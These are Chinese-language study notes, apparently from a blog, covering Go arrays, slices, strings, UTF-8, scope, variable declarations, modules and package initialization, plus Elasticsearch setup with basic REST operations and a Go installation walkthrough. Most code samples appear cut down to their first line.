从上面这张图中可以看到,这块内存全部空间都被用来表示数组元素,所以可以说这块内存的大小,等同于各数组元素的大小之和(物理上的)。
如果两个数组所分配的内存大小不同,那么它们肯定是不同的数组类型,因为只有两个变量N 和 T
完全相同,结果才会相同。
Go 提供了预定义函数 len 可以用于获取一个数组类型变量的长度,通过 unsafe 包提供的 Sizeof 函数,我们可以获得一个数组变量的总大小,如下面代码:
1 | var arr = [6]int{1, 2, 3, 4, 5, 6} |
数组大小就是所有元素的大小之和,这里数组元素的类型为 int。在 64 位平台上,int 类型的大小为 8,数组 arr 一共有 6 个元素,因此它的总大小为 6x8=48 个字节。
和基本数据类型一样,声明一个数组类型变量的同时,也可以显式地对它进行初始化。如果不进行显式初始化,那么数组中的元素值就是它类型的零值。比如下面的数组类型变量 arr1 的各个元素值都为 0:
1 | var arr1 [6]int // [0 0 0 0 0 0] |
显示初始化,需要在右值中显式放置数组类型,并通过大括号的方式给各个元素赋值:
1 | // 注意最后面的逗号不能少 |
数组出了一维数组,还有多维数组,在Go 语言中,使用如下方式声明一个多维数组:
1 | var mArr [2][3][4]int |
有其他语言基础的话,多维数组并不难理解,上面这段示例代码,可以拆解成这样:
因为数组在使用上有两点不足:固定的元素个数,以及传值机制下导致的开销较大。
于是 Go 设计者们又引入了另外一种同构复合类型——切片(slice),来弥补数组的这两点不足。
切片和数组就长得很像,但又各有各的行为特点。
声明一个切片:
1 | var nums = []int{1, 2, 3, 4, 5, 6} |
可以看到与声明数组相比,切片的声明仅仅只是少了一个长度属性,正因为没有长度的束缚,切片展现出更为灵活的特性。
虽然不需要像数组那样在声明时指定长度,但切片也有自己的长度,只不过这个长度不是固定的,而是随着切片中元素个数的变化而变化的。\
可以通过 len 函数获得切片类型变量的长度。
1 | fmt.Println(len(nums)) // 6 |
Go 切片在运行时其实是一个三元组结构,它在 Go 运行时中的表示如下:
1 | // $GOROOT/src/runtime/slice.go |
每个切片包含三个字段:
示例代码中的 nums 变量,在内存中的表示,如下图所示:
这里有一个概念需要理解
创建一个切片有几种方式,下面一一介绍。
通过 make 函数来创建切片,并指定底层数组的长度:
1 | sl := make([]byte, 6, 10) |
如果没有在 make 中指定 cap 参数,那么底层数组长度 cap 就等于 len,比如:
1 | sl := make([]byte, 6) // cap = len = 6 |
采用 array[low : high : max]
语法基于一个已存在的数组创建切片:
1 | arr := [10]int{1, 2, 3, 4, 5, 6, 7, 8, 9, 10} |
基于数组 arr 创建了一个切片 sl,这个切片 sl 在运行时中的表示是这样:
基于数组创建切片时,
由于切片 sl 的底层数组就是数组 arr,对切片 sl 中元素的修改将直接影响数组 arr 变量:
1 | sl[0] += 10 |
针对一个已存在的数组,可以建立多个操作数组的切片,这些切片共享同一底层数组,所以操作其中一个切片时,会影响其他切片(切片好比打开了一个访问与修改数组的“窗口”)。
1 | arr := [10]int{1, 2, 3, 4, 5, 6, 7, 8, 9, 10} |
常见操作:
s[n]
:切片 s 中索引位置为 n 的项s[:]
:从切片 s 的索引位置 0 到 len(s)-1 处所获得的切片s[low:]
:从切片 s 的索引位置 low 到 len(s)-1 处所获得的切片s[:high]
:从切片 s 的索引位置 0 到 high 处所获得的切片,len = highs[low:high]
:从切片 s 的索引位置 low 到 high 处所获得的切片,len = high-lows[low:high:max]
:从切片 s 的索引位置 low 到 high 所获得的切片,len = high-low, cap = max-lowlen(s)
:切片 s 的长度,总是 <= cap(s)cap(s)
:切片 s 的容量,总是 >= len(s)切片与数组最大的不同,就在于其长度的不定长,这种不定长需要 Go 运行时提供支持,这种支持就是切片的“动态扩容”。
“动态扩容”指的就是,当使用 append 操作向切片追加数据的时候,如果这时切片的 len 值和 cap 值是相等的,也就是说切片底层数组已经没有空闲空间再来存储追加的值了,Go 运行时就会对这个切片做扩容操作,来保证切片始终能存储下追加的新值。
1 | var s []int |
下面用一张图来解释动态扩容的过程:
其中有几点需要注意:
作为一个站在巨人的肩膀上成长起来的现代编程语言。它继承了前辈语言的优点,又改进了前辈语言中的不足。这其中一处就体现在 Go 对字符串类型的原生支持上。
在C 语言中,并没有对应的字符串变量,不会像 PHP 语言专门有一个String
类型来存储对应的字符变量,那么是存储字符串的呢?
在C 语言中,是通过字符数组来存储字符串的:
1 | char c[] = "clang"; |
字符串是由字符组成的,对于计算机而言,字符串是由一个个字符组成的,而一个字符的大小是一个字节。
clang 这个字符串在计算机中,所占的大小是六个字节而不是五个,这是因为最后一个字符是由\0
结尾,也需要占用一个字节。
这样定义的非原生字符串在使用过程中会有很多问题,比如:
\0
,防止缓冲区溢出这些问题都大大加重了开发人员在使用字符串时的心智负担。于是,Go 设计者们选择了原生支持字符串类型。
在 Go 中,字符串类型为 string。
Go 语言通过 string 类型统一了对“字符串”的抽象。这样无论是字符串常量、字符串变量或是代码中出现的字符串字面值,它们的类型都被统一设置为 string,比如上面 C 代码换成等价的 Go 代码是这样的:
1 | var c = "clang" |
这里并不是说不能为一个字符串类型变量进行二次赋值,而是不能改变字符的值:
1 | s := "golang" |
这样设计不用再担心字符串的并发安全问题。
Go 字符串中没有结尾 \0
,获取字符串长度更不需要结尾 \0
作为结束标志。
并且,Go 获取字符串长度是一个常数级时间复杂度,无论字符串中字符个数有多少,都可以快速得到字符串的长度值(后面会解释)。
常常会需要对字符串进行拼接,因为转义字符的存在,较难控制好格式,在 Go 语言中,通过一对反引号原生支持构造“所见即所得”的原始字符串(Raw String)。
1 | var s string = ` ,_---~~~~~----._ |
在原始字符串中的任意转义字符都不会起到转义的作用。
在之前的笔记中,已经提到过,Go 语言源文件默认采用的是 Unicode 字符集,Unicode 字符集是目前最流行的字符集,它囊括了几乎所有主流非 ASCII 字符(包括中文字符)。
对非 ASCII 字符提供原生支持,消除了源码在不同环境下显示乱码的可能。
下面会从两个角度认识字符串:
Go 语言中的字符串值也是一个可空的字节序列,字节序列中的字节个数称为该字符串的长度。一个个的字节只是孤立数据,不表意。
从字节视角看字符串的构成,它是不表示字符含义的(通俗点说就是,单从输出的字节是看不出来对应的是什么字符),这里输出的是字符串中的所有字节。
1 | var s = "中国人" |
因为一个中文汉字由 3~4 个字节组成,“中国人”是三个汉字,所以这里是 3 x 3 = 9
个字节。
如果需要表意,则需要从字符视角来看了,也就是字符串是由一个可空的字符序列构成。
1 | var s = "中国人" |
在这段代码中,不仅输出了字符串中的字符数量,还输出了字符串中的每个字符。
Go 采用的是 Unicode 字符集,每个字符都是一个 Unicode 字符,每个字符都可以在 Unicode 字符集中找到,这里输出的 0x4e2d、0x56fd 和 0x4eba 就是 中国人 这三个汉字在 Unicode 字符集中的码点(Code Point)
可以在这个网站查找世界文字对应的 Unicode 码点。
那么,什么是 Unicode 码点呢?
因为 Unicode 字符集中的每个字符,按照一定规则,都被分配了统一且唯一的字符编号。所谓的码点,就是指将 Unicode 字符集中的所有字符“排成一队”,字符在这个“队伍”中的位置,就是它在 Unicode 字符集中的码点。
Go 使用 rune 这个类型来表示一个 Unicode 码点。rune 本质上是 int32 类型的别名类型,它与 int32 类型是完全等价的,在 Go 源码中我们可以看到它的定义是这样的:
1 | // $GOROOT/src/builtin.go |
由于一个 Unicode 码点唯一对应一个 Unicode 字符。所以可以说,一个 rune 实例就是一个 Unicode 字符,一个 Go 字符串也可以被视为 rune 实例的集合。我们可以通过字符字面值来初始化一个 rune 变量。
在 Go 中,字符字面值有多种表示法,最常见的是通过单引号括起的字符字面值,比如:
1 | 'a' // ASCII字符 |
字符串是字符的集合,将表示单个字符的单引号,换为表示多个字符组成的字符串的双引号,就可以用来表示字符串字面值了:
1 | "abc\n" |
将单个 Unicode 字符字面值一个接一个地连在一起(示例中的第三行),并用双引号包裹起来就构成了字符串字面值。
不过,奇怪的是,为什么示例中的最后一行,与之前 Unicode 的码点对不上,反而很像从字节序列中输出的内容?
这是因为这个字节序列实际上是 中国人 这个 Unicode 字符串的 UTF-8 编码值。
UTF-8 编码解决的是 Unicode 码点值在计算机中如何存储和表示(位模式)的问题。
既然码点可以确定一个 Unicode 字符,那么直接用码点不行吗?
确实可以,而且 UTF-32 编码标准就是采用的这个方案。UTF-32 编码方案固定使用 4 个字节表示每个 Unicode 字符码点,这带来的好处就是编解码简单,但缺点也很明显,主要有下面几点:
针对这些问题,Go 语言之父 Rob Pike 发明了 UTF-8 编码方案。
和 UTF-32 方案不同,UTF-8 方案使用变长度字节,对 Unicode 字符的码点进行编码。编码采用的字节数量与 Unicode 字符在码点表中的序号有关:表示序号(码点)小的字符使用的字节数量少,表示序号(码点)大的字符使用的字节数多。
UTF-8 编码使用的字节数量从 1 个到 4 个不等。
有关字符编码的更多知识,可以查看这篇笔记。
现在使用 Go 在标准库中提供的 UTF-8 包,对 Unicode 字符(rune)进行编解码试试看:
1 | // rune -> []byte |
utf8.EncodeRune
:对一个 Unicode字符(rune) 进行 UTF-8 编码utf8.DecodeRune
:UTF-8 解码,将一段内存字节转换成 Unicode 字符好了,现在已经搞清楚 Go 语言中字符串类型的性质和组成了。
有了这些基础之后,就可以看看 Go 是如何实现字符串类型的。也就是说,在 Go 的编译器和运行时中,一个字符串变量究竟是如何表示的?
在标准库的 reflect 包中,可以看到对字符串类型的定义:
1 | // $GOROOT/src/reflect/value.go |
string 类型其实是一个“描述符”,它本身并不真正存储字符串数据,而仅是由一个指向底层存储的指针和字符串的长度字段组成的。
Go 编译器把源码中的 string 类型映射为运行时的一个二元组(Data, Len),真实的字符串值数据就存储在一个被 Data 指向的底层数组中。
1 | func dumpBytesArray(arr []byte) { |
这段代码利用了 unsafe.Pointer
的通用指针转型能力,按照 StringHeader 给出的结构内存布局,“顺藤摸瓜”,一步步找到了底层数组的地址,并输出了底层数组内容。
了解了 string 类型的实现原理后,就可以理解为什么获取字符串的长度的时间复杂度是常数。
以及可以得到这样一个结论:直接将 string 类型通过函数 / 方法参数传入也不会带来太多的开销。因为传入的仅仅是一个“描述符”,而不是真正的字符串数据。
字符串类型作为基本数据类型之一,同样也是日常开发中高频使用的基本数据类型,从原理上看 string 类型,有助于对 Go 语言中的字符串有个完整而清晰的认识。
可以看到 Go 语言的数据类型更丰富,除了基本的数据类型都支持,像 C 语言中没有的字符串类型,Go 语言也原生支持了。
认识预定义基本类型、各自占用字节大小以及默认值,有助于开发跨平台应用时无需过多考虑符号和长度差异:
类型 | 长度(字节) | 默认值(零值) | 说明 |
---|---|---|---|
bool | 1 | false | |
byte | 1 | 0 | uint8 |
int, unit | 4,8 | 0 | 默认整数类型,依据目标平台,32 位或 64 位 |
int8, uint8 | 1 | 0 | -128 ~ 127, 0~255(byte 是uint8 的别名) |
int16, unit16 | 2 | 0 | -32768 |
int32, unit32 | 4 | 0 | -21 亿 |
int64, unit64 | 8 | 0 | |
float32 | 4 | 0.0 | |
float64 | 8 | 0.0 | 默认浮点数类型 |
complex64 | 8 | ||
complex128 | 16 | ||
rune | 4 | 0 | Unicode Code Point, int32 |
uintptr | 4,8 | 0 | 无符号整型,用于存放一个指针 |
string | “” | 字符串,默认值为 空字符串,而非 NULL | |
array | 数组 | ||
struct | 结构体 | ||
function | nil | 函数 | |
interface | nil | 接口 | |
map | nil | 字典,引用类型 | |
slice | nil | 切片,引用类型 | |
channel | nil | 通道,引用类型 |
1 | package main |
两次的打印都是 10,包级变量 x 的值,并没有发生变化,这是因为虽然 foo 函数中也使用了变量 x,但是 foo 函数中的变量 x 遮蔽了外面的包级变量 x,这使得包级变量 a 没有参与到 foo 函数的逻辑中,所以就没有发生变化了。
变量遮蔽只是个引子,想要保证不出现变量遮蔽的问题,需要深入了解代码块和作用域的概念及其背后的规则。
代码块是什么?
Go 语言中的代码块是包裹在一对大括号内部的声明和语句序列,如果一对大括号内部没有任何声明或其他语句,我们就把它叫做空代码块。
例如:
1 | func foo() { // 代码块1 |
在这个示例中,函数 foo 的函数体是最外层的代码块,这里将它编号为代码块 1。而且,在它的函数体内部,又嵌套了两层代码块,由外向内看分别为代码块 2、代码块 3。
形如代码块 1 到代码块 3 这样的代码块,它们都是由两个肉眼可见的且配对的大括号包裹起来的,我们称这样的代码块为显式代码块(Explicit Blocks)。
既然有显式代码块的存在,没错,与之对应的就是隐式代码块。
隐式代码块没有显式代码块那样的肉眼可见的配对大括号包裹,我们无法通过大括号来识别隐式代码块。
怎么理解隐式代码块呢?
来看下面这张图:
它没有明确的实体,只能通过抽象的方式去理解。
最外面的宇宙代码块、靠里面的包代码块、文件代码块以及if、for、switch 的控制语句,这些都有隐式代码块。
按照变量的作用域,可以把变量划分为局部变量、包级变量、全局变量。
局部变量 | 包级变量 | 全局变量 | |
---|---|---|---|
定义 | 定义在函数内部的变量、方法接收器变量以及函数的形参都算局部变量 | 定义在函数外面的变量称为包级变量 | 同样是定义在函数外面的变量,但是首字母大小,那么这个包级变量就会被视为全局变量 |
作用域范围 | 从定义那一行开始直到与其所在的代码块结束 | 当前包文件都可见 | 整个 Go 程序都可见 |
生命周期 | 从程序运行到定义那一行开始分配存储空间直至程序离开该变量所在的作用域 | 程序启动时初始化,直至程序结束 | 程序启动时初始化,直至程序结束 |
在了解了 Go 语言的代码块和作用域之后,再来看看前面的那个变量遮蔽问题。
这一次同时把变量的地址打印出来:
1 | package main |
从上面的输出可以进一步确认,因为作用域的不同,在内存中实际对应两个不同的地址。
内存分配发生在运行期,编译后的机器码从不使用变量名,而是直接通过内存地址来访问目标数据。
尽管变量的名称是相同的,但是内存地址并不相同,所以本质上就不是同一个变量。
再来看一个例子,加深一下印象:
1 | package main |
变量遮蔽问题的根本原因,就是内层代码块中声明了一个与外层代码块同名且同类型的变量,这样就会导致内层代码块中的同名变量就会替代外层变量,参与此层代码块内的相关计算,从而被形象地称之为内层变量遮蔽了外层同名变量。
可以利用官方提供的 go vet
工具检测变量遮蔽问题,该工具用于对 Go 源码做一系列静态检查。
在 Go 1.14 版以前默认支持变量遮蔽检查,Go 1.14 版之后,变量遮蔽检查的插件就需要我们单独安装了,安装方法如下:
1 | $go install golang.org/x/tools/go/analysis/passes/shadow/cmd/shadow@latest |
Go 默认不做覆盖检查,添加 shadow 选项来启用:
1 | $ go vet -vettool=$(which shadow) -strict complex.go |
工具确实可以辅助检测,但也不是万能的,所以编码时,需要注意同名变量的声明以及短变量声明的作用域。
在编程语言中,为了方便操作内存特定位置的数据,我们用一个特定的名字与位于特定位置的内存块绑定在一起,这个名字被称为变量。
但这并不代表我们可以通过变量随意引用或修改内存,变量所绑定的内存区域是要有一个明确的边界的。也就是说,通过一个变量,究竟可以操作 4 个字节内存还是 8 个字节内存,编程语言的编译器或解释器需要明确地知道。
那么,编程语言的编译器或解释器是如何知道一个变量所能引用的内存区域边界呢?
动态语言的解释器可以在运行时通过对变量赋值的分析,自动确定变量的边界。
而静态语言就不一样了,编译器没有办法自动确定变量的边界,此时就需要语言的使用者提供,于是就有了“变量声明”。
通过变量声明,语言使用者可以显式告知编译器一个变量的边界信息。
Go 是静态语言,所有变量在使用前必须先进行声明。声明的意义在于告诉编译器该变量可以操作的内存的边界信息,而这种边界通常又是由变量的类型信息提供的。
在 Go 语言中,有一个通用的变量声明方法是这样的:
1 | var a int = 10 |
这个变量声明分为四个部分:
在 Go 语言中,无论什么类型的变量,都可以使用这种形式进行变量声明,这就是通用的声明方式。
另外,除了单独声明每个变量外,Go 语言还提供了变量声明块(block)的语法形式,可以用一个 var 关键字将多个变量声明放在一起:
1 | var ( |
Go 语言还支持在一行变量声明中同时声明多个变量:
1 | var a, s = 1, "ok" |
如果没有显式为变量赋予初值,Go 编译器会为变量赋予这个类型的零值:
1 | var a int // a的初值为int类型的零值:0 |
那什么是类型的零值?
Go 语言的每种原生类型都有它的默认值,这个默认值就是零值。
下面就是 Go 规范定义的内置原生类型的默认值(即零值)
内置原生类型 | 默认值(零值) |
---|---|
所有整型类型 | 0 |
浮点类型 | 0.0 |
布尔类型 | FALSE |
字符串类型 | “” |
指针、接口、切片、channel、map 和函数类型 | nil |
另外,像数组、结构体这样复合类型变量的零值就是它们组成元素都为零值时的结果。
除了上面这种通用的变量声明形式,Go 语言还提供了两种变量声明的“语法糖”。
这种方式会省略类型信息的声明。
在通用的变量声明的基础上,Go 编译器允许我们省略变量声明中的类型信息,它的标准范式是var varName = initExpression,比如下面就是一个省略了类型信息的变量声明:
1 | var b = 13 |
使用这种方式声明的前提是,右侧存在变量初值。
1 | var b |
因为没有初始值的声明,编译会报错——“unexpected newline, expecting type”。
结合多变量声明,可以使用这种变量声明语法糖声明多个不同类型的变量:
1 | var a, b, c = 12, 'A', "hello" |
在这种变量声明语法糖中,我们省去了变量类型信息,但 Go 编译器会为我们自动推导出类型信息。
使用短变量声明时,我们甚至可以省去 var 关键字以及类型信息,它的标准范式是varName := initExpression。
1 | a := 12 |
短变量声明中的变量类型也是由 Go 编译器自动推导出来的。
知道了这么多种声明方式,那么在使用时,有没有什么约束呢?
这个时候就需要学习点预备知识:Go 语言的两类变量。
Go 语言的变量按作用域可以分为两类:
包级变量只能使用带有 var 关键字的变量声明形式,不能使用短变量声明形式,但在形式细节上可以有一定灵活度。
1 | var varName = initExpression |
就像前面说过那样,Go 编译器会自动根据等号右侧 InitExpression 结果值的类型,来确定左侧声明的变量的类型,这个类型会是结果值对应类型的默认类型。
如果不接受默认类型,而是要显式地为包级变量指定类型,那么有两种方式:
1 | // 第一种: |
两种方式都可以使用,但从声明一致性的角度出发,Go 更推荐我们使用后者,这样能统一接受默认类型和显式指定类型这两种声明形式。
对于声明时并不立即显式初始化的包级变量,我们可以使用下面这种通用变量声明形式:
1 | var a int32 // 0 |
虽然这些值没有初始化,但是仍有自己的零值。
短变量声明形式是局部变量最常用的声明形式。
1 | a := 17 |
对于不接受默认类型的变量,依然可以使用短变量声明形式,只是在:=
右侧要做一个显式转型,以保持声明的一致性:
1 | a := int32(17) |
在 Go 中,声明一个变量有多种方式,具体使用哪一种,需要根据实际情况而定:是包级变量还是局部变量、是否需要延迟初始化、是否接受默认类型、是否是分支控制变量等
通用变量声明和语法糖的区别在于,语法糖声明可以省略变量的类型信息。
Go Module 的核心是一个名为 go.mod
的文件,在这个文件中存储了这个 module 对第三方依赖的全部信息。
首先来创建一个 hellomodule.go
的源文件。
1 | // hellomodule.go |
先不用在意每行代码的意思,只需要知道在这个示例中,通过 import 引入了两个第三方依赖库。
接下来,通过下面命令为 “hellomodule” 这个示例程序添加 go.mod
文件:
1 | $ go mod init hellomodule |
go mod init
命令的执行结果是在当前目录下生成了一个 go.mod
文件,查看一下:
1 | $ cat go.mod |
其实,一个 module 就是一个包的集合,这些包和 module 一起打版本、发布和分发。go.mod
所在的目录被我们称为它声明的 module 的根目录。
有了 go.mod
之后,还不能立马构建 “hellomodule” ,因为需要添加源码依赖,也就是代码中用到的 fasthttp 和 zap 这两个第三方包。
使用以下命令自动添加:
1 | $ go mod tidy |
再次查看 go.mod
文件,就会发现多了很多内容:
1 | $ cat go.mod |
还会发现本地多了一个 go.sum
的文件,它的作用是记录项目的直接依赖和间接依赖包的相关版本的 hash 值,用来校验本地包的真实性。
在构建的时候,如果本地依赖包的 hash 值与 go.sum
文件中记录的不一致,就会被拒绝构建。
现在就可以进行编译了:
1 | $ go build hellomodule.go |
启动服务,然后访问 localhost:8081
,可以看到控制台输出以下内容,即表示服务正常
1 | {"level":"info","ts":1667202109.444561,"caller":"hellomodule/hellomodule.go:14","msg":"hello, go module","uri":"/"} |
go mod init
命令为项目创建一个 Go Modulego mod tidy
命令自动添加第三方依赖Go 语言中有一个特殊的函数:main 包中的 main 函数,也就是 main.main,它是所有 Go 可执行程序的用户层执行逻辑的入口函数。
Go 程序在用户层面的执行逻辑,会在这个函数内按照它的调用顺序展开。
main 函数的函数原型是这样的:
1 | package main |
main 函数的函数原型非常简单,没有参数也没有返回值。
而且,Go 语言要求:可执行程序的 main 包必须定义 main 函数,否则 Go 编译器会报错——“runtime.main_main·f: function main is undeclared in the main package”。
不过需要注意的是,并不是只有 main 包中才允许有 main 函数,其他包中也是可以拥有名为 main 的函数或者方法,只是因为其可见性规则,非 main 包中自定义的 main 函数仅限于包内使用。
1 | package pkg1 |
不过对于 main 包的 main 函数来说,还有一点需要明确,就是它虽然是用户层逻辑的入口函数,但它却不一定是用户层第一个被执行的函数。
这是因为Go 语言还有一个特殊函数的存在——init 函数,它的作用是对包进行初始化。
和 main.main 函数一样,init 函数也是一个无参数无返回值的函数:
1 | package main |
如果 main 包依赖的包中定义了 init 函数,或者是 main 包自身定义了 init 函数,那么 Go 程序在这个包初始化的时候,就会自动调用它的 init 函数,因此这些 init 函数的执行就都会发生在 main 函数之前。
注意:init 函数不用显式调用,否则会编译错误——“undefined: init”。
从程序逻辑结构角度来看,Go 包是程序逻辑封装的基本单位,每个包可以理解成是一个“自治”的、封装良好的、对外部暴露有限接口的基本单元。
一个 Go 程序就是由一组包组成的,程序的初始化就是这些包的初始化。每个包拥有自己的依赖包、变量、常量、init 函数、(main 函数)等。
可以借助下面这张图来加深对初始化次序的理解。
首先,main 包依赖 pkg1、pkg4 这两个包,所以第一步,Go 会根据包的导入顺序,依次去初始化 main 包下面的依赖包。
第二步,Go 在进行包初始化的过程中,会采用深度优先的原则,递归初始化各个包的依赖包。
对应到上图,也就是 pkg1 依赖 pkg2,pkg2 依赖 pkg3,pkg3 没有依赖包,于是 Go 在 pkg3 包中按照常量 -> 变量 -> init 函数的顺序先对 pkg3 包进行初始化(这个就是深度优先原则,从内往外依次初始化)。
紧接着,在 pkg3 包初始化完毕后,Go 会回到 pkg2 包并对 pkg2 包进行初始化,接下来再回到 pkg1 包并对 pkg1 包进行初始化。在调用完 pkg1 包的 init 函数后,Go 就完成了 main 包的第一个依赖包 pkg1 的初始化。
接下来,Go 会初始化 main 包的第二个依赖包 pkg4,pkg4 包的初始化过程与 pkg1 包类似,也是先初始化它的依赖包 pkg5,然后再初始化自身。
然后,当 Go 初始化完 pkg4 包后也就完成了对 main 包所有依赖包的初始化,接下来初始化 main 包自身。
最后,在 main 包中,Go 同样会按照常量 -> 变量 -> init 函数的顺序进行初始化,执行完这些初始化工作后才正式进入程序的入口函数 main 函数。
对了,还有一点需要注意的是:如果一个包同时被多个包依赖,那么这个包仅会初始化一次。
关于 Go 包的初始化记住以下三点就行:
ES 底层是开源库 Lucene。但是没法直接用 Lucene,必须自己写代码去调用它的接口。ES 是 Lucene 的封装,提供了 REST API 的操作接口,开箱即用。
ES 需要 Java 8 环境。如果你的机器还没安装 Java,可以进行下载安装。
ES 的安装比较简单,直接下载对应版本的压缩包解压即可:
1 | curl -O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-8.4.3-darwin-x86_64.tar.gz |
这里下载安装的是最新版本 8.4.3
。
首次解压完并不能直接运行,需要稍微修改一些配置(如果你的机器有配置证书则可以忽略,这是因为 ES 默认开启了 ssl
认证):
1 | // vim elasticsearch.yml |
进入解压后的目录,运行下面的命令,启动 ES:
1 | bin/elasticsearch |
如果这时报错 “max virtual memory areas vm.maxmapcount [65530] is too low”,要运行下面的命令。
1 | sudo sysctl -w vm.max_map_count=262144 |
如果一切正常,ES 就会在默认的 9200 端口运行,访问localhost:9200
会返回如下信息:
1 | { |
elasticsearch-head 是一个ES 集群的 Web 前端控制台,可以可视化管理 ES。
安装也是非常简单,直接下载解压运行即可:
1 | git clone git://github.com/mobz/elasticsearch-head.git |
elasticsearch-head 默认监听 9100 端口,正常访问 localhost:9100
会看到如下界面:
注意看,我这里的集群健康值是 red,索引的旁边出现了一个 unassigned
,出现 unassigned
的原因通常有:
健康值有三个值:
如果处于 red,很多操作是做不了的,我这里是因为磁盘空间不足而导致的,释放掉磁盘空间之后便恢复 green 了:
ES 本质上是一个分布式的数据库,允许多台服务器协同工作,每台服务器也可以同时运行多个实例。
单个 ES 实例称为一个节点(node)。一组节点构成一个集群(cluster)。
Index 是 ES 的核心概念,ES 会索引所有字段,经过处理后写入一个反向索引(Inverted Index)。查找数据的时候,直接查找该索引。
ES 数据管理的顶层单位就叫做 Index(索引)。它是单个数据库的同义词。每个 Index (即数据库)的名字必须是小写。
Index 里面单条的记录称为 Document(文档)。许多条 Document 构成了一个 Index。
Document 使用 JSON 格式表示,下面是一个例子:
1 | { |
创建 Index,可以直接向 ES 服务器发出 PUT 请求。
1 | # 创建一个 weather 的 Index |
通过 DELETE 请求删除 Index
1 | curl -X DELETE 'localhost:9200/weather' |
1 | curl -X PUT "localhost:9200/customer/_doc/1?pretty" -H 'Content-Type: application/json' -d' |
pretty
参数的作用是以易读的格式返回。
注意,这里请求地址是customer/_doc/1
,最后的1是该条记录的 Id。它不一定是数字,任意字符串(比如abc)都可以。
新增记录的时候,也可以不指定 Id,这时要改成 POST 请求。
1 | curl -X POST "localhost:9200/customer/_doc?pretty" -H 'Content-Type: application/json' -d' |
需要注意的是,使用该请求方式时,如果对应的索引不存在(例子中是customer
),ES 则会自动创建该索引。
通过 elasticsearch-head
查看数据:
通过终端指定 Document ID 查看对应的记录:
1 | curl -X GET "localhost:9200/customer/_doc/1?pretty" |
返回的数据中,found字段表示查询成功,_source
字段返回原始记录。如果 Id 不正确,就查不到数据,found字段就是false。
1 | curl -X PUT "localhost:9200/customer/_doc/1?pretty" -H 'Content-Type: application/json' -d' |
上面代码中,将原始数据从”李四”改成“王五”。 返回结果里面,有几个字段发生了变化。
1 | "_version" : 2, |
可以看到,记录的 Id 没变,但是版本(version)从1变成2,操作类型(result)从created变成updated,created字段变成false,因为这次不是新建记录。
删除记录就是发出 DELETE 请求。
1 | curl -X DELETE 'localhost:9200/customer/_doc/1' |
最新版本的 ES,通过请求/Index/_search
,就会返回对应索引下的所有记录。
1 | curl -X GET "localhost:9200/customer/_search?pretty" |
上面代码中,返回结果:
hits 的子字段的含义如下:
返回的记录中,每条记录都有一个 _score
字段,表示匹配的程序,默认是按照这个字段降序排列。
ES 的查询非常特别,使用自己的查询语法,要求 GET 请求带有数据体。
1 | curl -X GET "localhost:9200/_search?pretty" -H 'Content-Type: application/json' -d'{ |
Go 语言的设计哲学:简单、显式、组合、并发和面向工程:
Go 从 2009 年开源并演化到今天,它的安装方法其实都已经很成熟了。
写下这篇笔记时,Go 的版本已经到了 1.18.1。
Windows 和 Mac 可以直接从官网下载 最新的安装包,在图形界面的引导下,一路“下一步”,即可安装成功。
Linux 则通过命令行的方式进行安装:
1 | $ wget -c https://go.dev/dl/go1.19.2.linux-amd64.tar.gz \ |
解压成功,即可在 /usr/local
下面看到名为 go 的安装目录。
添加环境变量:
1 | $ export PATH=$PATH:/usr/local/go/bin && source ~/.profile |
查看是否安装成功:
1 | $ go version |
其实 Go 在安装后是开箱即用的,无需做任何配置就能使用。
但是因为众所周知的原因,一般会修改 GOPROXY
环境变量:
1 | $ go env -w GOPROXY=https://goproxy.cn,direct |
顺便看一下其他的一些常用配置项:
名称 | 作用 | 值 |
---|---|---|
GOARCH | 用于指示编译器生成代码(针对平台 CPU 架构) | 主要值是 AMD64、Arm 等,默认值是本机的 CPU 架构 |
GOOS | 用于指示 Go 编译器生成代码(针对平台的操作系统 | 主要值是 Linux、Darwin、Windows 等,默认值是本机的操作系统 |
GO111MODULE | 它的值决定了当前使用的构建模式是传统的 GOPATH 模式还是新引入的 Go Module 模式 | 在 Go1.16 版本 Go Module 构建模式默认开启,该变量的值是 on |
GOCACHE | 用于指示存储构建结果缓存的路径,这些缓存可能会被后续构建所使用 | 在不同的操作系统上,GOCACHE 有不同的默认值,通过 go env GOMODCACHE 查看 |
GOMODCACHE | 用于指示存放 Go Module 的路径 | 在不同的操作系统上,GOCACHE 有不同的默认值,通过 go env GOMODCACHE 查看 |
GOPROXY | 用来配置 Go Module proxy 服务 | 默认值是 https://proxy.golang.org.direct |
GOPATH | 在传统的 GOPATH 构建模式下,用于指示 Go 包搜索路径的环境变量,在 Go module 机制启用之前是 Go 核心配置项,Go 1.8 版本之前需要手动配置,Go 1.8 版本之后引入了默认的GOPATH($HOME/go) | |
GOROOT | 指示 GO 安装路径,GO 1.10 版本引入了默认的 GOROOT,开发者无需显式设置,Go 程序会自动根据自己所在的路径推导出 GOROOT 的路径 |
首先,需要创建一个 main.go
的源文件。
这里需要注意一下 Go 的命名规则:Go 源文件总是用全小写字母形式的短小单词命名,并且 .go
扩展名结尾。
如果要在源文件的名字中使用多个单词,通常直接是将多个单词连接起来作为源文件名,而不是使用其他分割符。
比如下划线,通常会使用 helloworld.go
作为文件名,而不是 hello_world.go
。
这是因为下划线这种分割符,在 Go 源文件命名中有特殊作用。
1 | // main.go |
写完之后,就可以编译运行第一个 Go 程序了:
1 | $ go build main.go # 编译 |
上面这个简单的 Go 程序,由三个很重要的部分组成:
package main
:定义了 Go 中的一个包 packageimport fmt
:声明导入标准库 fmt 目录下的包func main(){}
:定义入口函数下面一一说明。
包(package)是 Go 语言的基本组成单元,通常使用单个的小写单词命名,一个 Go 程序本质上就是一组包的集合。
所有 Go 代码都有属于自己的 package(很像 PHP 的命名空间的概念),在这里的“helloworld”示例的所有代码都在一个名为 main 的包中。main 包在 Go 中是一个特殊的包,整个 Go 程序中仅允许存在一个名为 main 的包。
import
的作用是导入标准库或者第三方包,在这里的作用是导入标准库 fmt 目录下的包。
在上面的示例中,有两处都使用了 fmt
这个字面值,但是其含义是不一样的。
import fmt
一行中“fmt”代表的是包的导入路径(Import),它表示的是标准库下的 fmt 目录fmt.Println
函数调用一行中的“fmt”代表的则是包名main 函数体中之所以可以调用 fmt 包的 Println 函数,还有最后一个原因,那就是 Println 函数名的首字母是大写的。
在 Go 语言中,只有首字母为大写的标识符才是导出的(Exported),才能对包外的代码可见;如果首字母是小写的,那么就说明这个标识符仅限于在声明它的包内可见。
main 包中的主要代码是一个名为 main 的函数:
1 | func main() { |
这里的 main 函数会比较特殊:当运行一个可执行的 Go 程序的时,所有的代码都会从这个入口函数开始运行。
